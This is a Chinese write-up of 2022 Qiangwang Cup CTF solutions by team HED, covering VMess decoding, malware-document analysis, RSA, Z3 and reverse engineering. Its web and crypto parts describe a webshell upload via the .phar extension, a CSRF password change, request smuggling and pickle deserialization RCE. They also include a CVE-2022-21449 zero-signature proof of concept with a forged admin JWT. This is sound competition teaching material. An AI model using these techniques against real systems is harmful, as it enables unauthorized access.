2022 强网杯 HED WriteUp
Rank: 74 708pts 10SolvedHED 是南方科技大学COMPASS实验室的CTF战队
解题情况(全部10题):
MISC
签到-Misc-8
签到
问卷调查-Misc-27
问卷
谍影重重(二血)-Misc-271
首先看 config.json
的内容,发现很像 v2ray 的配置文件,于是手搓 VMess 协议。这部分没啥好说的,就看规范和代码直接对着实现一遍,确实硬核。
1 | import hmac |
然后发现是一个 HTTP 请求,把 html 里面的东西保存,得到了一个 0208_54741869750132.doc
。
doc文档下载后火绒报毒不断,分离出的dll文件看起来并不简单,考虑到大概率要提取宏病毒中的API地址,直接把文件上传到微步云沙箱分析行为,发现是真的病毒(https://s.threatbook.com/report/file/3a5648f7de99c4f87331c36983fc8adcd667743569a19c8dafdd5e8a33de154d)
同时在样本报告里找到了api地址 api.ipify.org
(看起来并不是只有我们是这样做的,写wp时发现7月31又被上传了几次)
解压后拿到一个自称是GOB文件的二进制,怀疑是go的序列化对象或者是游戏资源文件,把文件头8字节十六进制放到谷歌里可以搜到一个github的poc仓库,因此确认该文件是go的打包文件。
用 pygob 读取,里面有时间戳 2022-07-19 14:49:56
和一个所谓的 PNG 文件,但是这个 PNG 打不开。
然后根据提示(唯一有用的提示),这个文件打乱过。然后因为有时间,所以可以考虑用时间作为种子,把这个随机过程还原。
1 | func main() { |
然后还原之后,就得到了一张正常的 PNG 图片。不过里面也不直接是 flag。经过观察,图片的白色部分和蓝色部分都是全白或全蓝,没有信息。不过字的边缘有点意思。经过尝试,发现排除全白和全蓝像素之后,把 alpha 的数据直接提取拼接之后,就是 flag 了。
1 | from PIL import Image |
强网先锋
(推测强网先锋是难度较低的题目,但是分类未知)
rcefile-强网先锋-24
私有环境,猜测需要简单扫描,御剑尝试100条常见路径发现www.zip源码。
上传文件后缀过滤很严格,且没什么绕过的机会,前边也被拼接了md5,不能传.htacess
于是把所有php合法扩展名都试一遍(https://book.hacktricks.xyz/pentesting-web/file-upload) ,发现phps文件会403,继续测试剩余扩展名发现phar文件可以解析。
传马,结束。
ASR-强网先锋-68
factordb只能获得开方的结果。
分解四个128位质数的乘积应该并不复杂,放到yafu里单线程跑不到一小时就能出来1
2
3
4
5
6
7SIQS elapsed time = 8.5662 seconds.
Total factoring time = 2415.3993 seconds
P39 = 223213222467584072959434495118689164399
P39 = 260594583349478633632570848336184053653
P39 = 218566259296037866647273372633238739089
P39 = 225933944608558304529179430753170813347
e和phi不互素,数理基础匮乏的我们并没有用phi = (p-1)*(q-1)*(r-1)*(s-1)*p*q*r*s
梭出答案
在 https://www.modb.pro/db/404740 的讨论中找到能用的脚本,抄过来改少一个因子
sage部分1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25n = p * q * r * s * p * q * r * s
e = 3
print(n)
phi = (p - 1) * (q - 1) * (r - 1) * (s - 1)
R.<x> = Zmod(p)[]
f = x ^ e - c
f = f.monic()
res1 = f.roots()
R.<x> = Zmod(q)[]
f = x ^e - c
f = f.monic()
res2 = f.roots()
R.<x> = Zmod(r)[]
f = x ^e - c
f = f.monic()
res3 = f.roots()
R.<x> = Zmod(s)[]
f = x ^e - c
f = f.monic()
res4 = f.roots()
print(res1,res2,res3,res4,sep='\n')
python部分1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36res1=[(61230132932186378005663689217798805559, 1)]
res2=[(127287570627900634195349274487282947698, 1)]
res3=[(159183122833201520722281740271702531008, 1), (54017009972585088360569997378772209006, 1), (5366126490251257564421634982763999075, 1)]
res4=[(97828969479259149226856141068289169207, 1), (84132055525449472521332928867042183796, 1), (43972919603849682780990360817839460344, 1)]
def union(x1, x2):
a1, m1 = x1
a2, m2 = x2
d = gmpy2.gcd(m1, m2)
assert (a2 - a1) % d == 0
p1, p2 = m1 // d, m2 // d
_, l1, l2 = gmpy2.gcdext(p1, p2)
k = -((a1 - a2) // d) * l1
lcm = gmpy2.lcm(m1, m2)
ans = (a1 + k * m1) % lcm
return ans, lcm
def excrt(ai, mi):
tmp = zip(ai, mi)
return reduce(union, tmp)
for i in res1:
for j in res2:
for k in res3:
for l in res4:
ai = [i[0], j[0], k[0], l[0]]
# print(ai)
mi = [p, q, r, s]
flag = excrt(ai, mi)
flag = hex(flag[0])
try:
print(bytes.fromhex(flag[2:]))
except:
...
polydiv-强网先锋-48
给出等式 $a(x) \times b(x) + c(x) = r(x)$,并给出多项式 $a(x), c(x), r(x)$,求 $b(x)$。
移一下项,得到 $b(x) = \big( r(x) - c(x) \big) \div a(x)$,前面减法部分很 trivial,后面除法的部分,因为已知能整除,所以直接上多项式除法即可。
1 | from pwn import * |
Web
babyweb-Web-44
这个 bot 的主要功能就是可以用 bugreport http://host:port/login
这条指令,让服务器访问这个网站。经过测试,它是可以运行 JavaScript 的。
然后发现 admin
已经被注册了,不过我们可以尝试修改它的密码,然后尝试登录。从题面的 docker
命令可以知道它在本地的端口是 8888
,所以构造一个 html 文件,来向 127.0.0.1 发送修改密码指令:
1 | <html><body><script> |
然后修改完之后用 admin
和 123456
登录,就可以到一个购物小车的后台。然后发现只有 200$,买不了 flag。不过通过观察源码,可以知道购买的逻辑分布在两个不同的后端中,其中一个检查金钱够不够,另外一个将买到的东西加入到用户属性中。所以就可以尝试走私,让「检查金钱」的觉得不用买,通过检查,让「买东西」的可以成功买到东西。经测试,下面的 payload 可以成功走私:
1 | { |
crash-Web-76
观察源码:
1 |
|
一眼看上去就是 pickle 反序列化利用。但是这里禁用了 R
指令,不过问题不大,这里可以直接用 o
来平替。即 <func>(<args>tR
等价于 (<func><args>o
。把 pker.py 脚本简单修改一下之后就能拿来用了。
(这里队内的M神已经RCE了,但是发现没权限读nginx的配置文件,环境也是很新的好像并没有什么提权的机会)
然后下一步就是让 token != hash(...)
为 False
,这个我一开始尝试从 app.get_password
和 admin.secret
拿密码,但是拿不到。所以尝试将 token
变成一个对象,然后把这个对象的 __ne__
hack 为永远返回 False
。
下为 payload:发现不知道为啥不需要绕 secret
,不过要绕过也很简单,拿 str.__add__
绕即可
1 | partial = GLOBAL('functools', 'partial') |
然后这个 payload 扔上去之后就进到了一个均衡负载页面。结合时事(指某垃圾二次元视频网站的事故分析),发现把 weight
设置成 0 可以让 gcd
函数死循环,最终 504 从而拿到 flag。
Reverse
GameMaster-Reverse-80
GitHub可以根据运行时的标题搜到原始的仓库,对照dnspy的结果简单看一下是多了一个大的后门函数,以及dll多了一个gencode,但是并没有用到。
exe里的后门函数有三个checkpoint,第一步取出message数据,第二步xor 34,第三步AES-ECB解密,密钥Brainstorming!!!
解密的文件前半段被赛博厨子识别为ttf字体,但是后半段显然有函数,导出给binwalk看一下被告知后半段有exe,但是没有自动分离出来,手动找到mz头分离出发现还是.net程序,继续给dnspy分析,定位到校验flag的函数,x y z三个ULONG变量未知,结果已知,flag密文已知,求得xyz即可获得解密密钥。
结果的40个byte的每一位对应一轮的result,于是队友M神直接给Z3丢了320个约束条件,10秒就跑出来了xyz。
(怎么klee跑了10分钟都没结果呢。STP和Z3差距这么大吗)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38import z3
def rotate():
global x, y, z
x = ((((x >> 29) ^ (x >> 28) ^ (x >> 25) ^ (x >> 23)) & 1) | (x << 1)) & 0xFFFFFFFFF
y = ((((y >> 30) ^ (y >> 27)) & 1) | (y << 1)) & 0xFFFFFFFFF
z = ((((z >> 31) ^ (z >> 30) ^ (z >> 29) ^ (z >> 28) ^ (z >> 26) ^ (z >> 24)) & 1) | (z << 1)) & 0xFFFFFFFFF
def summary():
global x, y, z
return ((((z >> 32) & 1) & ((x >> 30) & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1))) & 1
x0, y0, z0 = z3.BitVecs('x y z', 33)
x, y, z = x0, y0, z0
bits = [0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1]
s = z3.Solver()
for i in range(320):
rotate()
s.add(summary() == bits[i])
s.check()
model = s.model()
print(model)
array = [ model[x0].as_long(), model[y0].as_long(), model[z0].as_long() ]
key = [ 0 for _ in range(12) ]
ciphertext = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
for i in range(3):
for j in range(4):
key[i * 4 + j] = (array[i] >> (j * 8)) & 0xFF
for i in range(len(ciphertext)):
ciphertext[i] = ciphertext[i] ^ key[i % 12]
print(bytes(ciphertext))
Crypto
myJWT-Crypto-62
没给出fastjson的版本,结合题目描述 misc&crypto 且是公共环境,考虑并不是最新的反序列化,那就只剩java自己的库。
CVE-2022-21449
java验证:1
2
3
4
5
6var keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
var blankSignature = new byte[64]; // 默认是0
var sig = Signature.getInstance("SHA256WithECDSAInP1363Format");
sig.initVerify(keys.getPublic());
sig.update("admin:False".getBytes());
System.out.println(sig.verify(blankSignature));
签名全是0可以永远通过校验,jwt exp:eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiZnJhbmsiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxODU5MjM1NjAwNzYwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
2022 强网杯 HED WriteUp